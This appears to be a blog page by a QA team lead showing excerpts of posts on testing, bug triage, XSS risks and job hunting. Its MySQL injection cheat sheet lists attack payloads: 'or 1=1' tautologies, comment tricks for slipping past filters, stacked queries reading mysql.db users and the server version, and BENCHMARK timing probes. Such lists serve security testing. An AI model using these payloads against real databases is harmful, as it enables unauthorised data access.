PD MOHANTY

Hi Guys, This is Priyadarshan Mohanty, working as a QA Team Lead at Mindfire Solutions I believe in live strong and be strong in your field that you are working for. It may seem difficult at some point of time due to the changing world but wont really be so hard to figure things out which are good. All is intended for the growth of a good and healthy professional career for folks around the globe.

  MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123')); ...

Unit Test Plan Module ID: _________ Program ID: ___________   1.  Module Overview Briefly define the purpose of this module.  This may require only a single phrase: i.e.: calculates overtime pay amount, calculates equipment depreciation, performs date edit validation, or determines sick pay eligibility, etc. 1.1  Inputs to Module [Provide a brief description of the inputs to the module under test.] 1.2  Outputs from Module [Provide a brief description of the outputs from the module under test.] 1.3  Logic Flow Diagram [Provide logic flow diagram if additional clarity is required.] 2.  Test Data (Provide a listing of test cases to be exercised to verify processing logic.) 2.1  Positive Test Cases [Representative data samples should provide a spectrum of valid field and processing values including "Syntactic" permutations...

Bug Triage– Severity & Priority "Triage" is a medical term. It refers to dividing wounded or sick people into three categories: those who will die no matter what you do, those who will recover even if unaided, and those who will recover only if aided. In a situation where there's too much to do, you must concentrate on the third group. Bug Triage Meetings (sometimes called Bug Councils) are project meetings in which open bugs are divided into categories. The most important distinction is between bugs that will not be fixed in this release and those that will be There are three categories for the medical usage, software also three categories - bugs to fix now, bugs to fix later, and bugs we'll never fix Triaging a bug involves: Making sure the bug has enough information for the developers and makes sense Making sure the bug is filed in the correct place Making sure the bug has sensible "Severity" and "Priority" fields Let us see wh...

Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end...

No matter how reliable the candidate looks on paper, he/she needs to do deliver at the interview stage. Hiring managers share some of the most unforgettable blunders made by candidates and suggest preventive measures to avoid such goof-ups. Viren Naidu A job interview is indeed a place where even a small slip can go a long way. Candidates need to be alert and well prepared before a job interview, so that they can project a complete, holistic picture of their qualifications, as well as strike a chord with the interviewer. In some instances, a candidate may be, otherwise, well suited for the job role, but small character traits and behavioural glitches may land him/her in a tough spot, and the offer may, in turn, be withdrawn. Here are some of the common mistakes candidates make and ways in which you can avoid them: 1) Harpreet Kaur, Sr. general manager & head – human resources, Godrej & Boyce Mfg. Co. Ltd: Mistake 1: The candidate has the tendency to give the impression that he/...

IN THE WAKE OF THE CURRENT FINANCIAL DOWNTURN, POTENTIAL CANDIDATES NEED TO MAXIMISE THEIR CHANCES TO GET THE BEST JOB AND EMPLOYERS TO GET THE BEST TALENT Now more than ever, companies are becoming extremely selective when evaluating potential candidates. They are keen to test as many candidates before making an offer to ensure they get the best and most deserving. “Not only are companies becoming more selective, but with many more people looking for jobs, the competition is fierce,” opines Naveen Manjunath, managing director, Professional Aptitude Council (PAC) India. “The key is to find ways to stand-out from the crowd,” - Naveen Manjunath, managing director, Professional Aptitude Council (PAC) India Differentiate to gain… Potential candidates need to understand that most people look very similar on their resume, so the key is to differentiate themselves. For example, candidates should look for opportunities to lead groups in their community, mentor young people in their community, ...

My Research and Strategies Say so: - The last 3 years were years of numbers and figures for the Indian IT services industry. And as the National Association of Software and Services Companies (Nasscom) President Som Mittal will tell you, they were years to project numbers and weave a strategy to get to those numbers. “But the next decade will be structurally different. It will be more about making a change rather than following a change,” he says. With the change in business and economic landscape, IT companies will need a different tool-kit to retain the edge from here on. Indian players can never forget that out of the total addressable offshoring market of $380 billion, less than 15 per cent has been penetrated. What are the trends that the Indian IT industry needs to catch in order to ride the next decade of growth for the software services market? Rogue rupee and currency fluctuationThe recent yo-yoing Re-$ relationship has been giving the Indian IT industry sleepless nights. But,...

Hi Users, If any Fresher Candidates really Depressed of the current job, then dont worry. The BOOM is comming ahead...... Just read and mark my few words and Success is at your Doorstep. Reports of companies laying off thousands of employees globally have made many young professionals skeptical about the job market. There is a certain amount of insecurity and uneasiness amongst professionals today as all signs point to an increasingly unwelcome economic outlook in the coming months. With the recent downfall of some big banking players, the employment markets globally are in turmoil. Facing a layoff is fast becoming more and more a real prospect for many professionals. To keep your job, you need to work smart not and do whatever it takes to make sure you are crucial to your company. But you must also have a plan, in case your organization thinks you are not so crucial or efficient. Here are some suggestions to help you in the job search process in these difficult times: Treat the job se...

There are various types of mistakes that need careful proofreading of your resume before you can make the cut. Poor punctuation and gawky sentence structure hamper smooth flow stamping you as careless. So, always proofread. While watching bloopers, you laugh at the funny slip-ups, gaffes and blunders. But certainly, you wouldn’t want a similar response when it comes to your resume, right? If your resume contains malapropisms, it’ll be a laughing stock failing to fetch any impression. So, meticulous proofreading of your resume is essential. Share it with friends and colleagues for the reassurance that inadvertent word substitution is absent. Remember, computer spell check function often doesn’t find these errors as it’s the problem of incorrect word use rather than misspelling. So, when you proofread your resume, it should reflect your editing skills, being concise and error free. Mistakes are of various types, from typos to poor punctuation marks and gawky sentence construction that ob...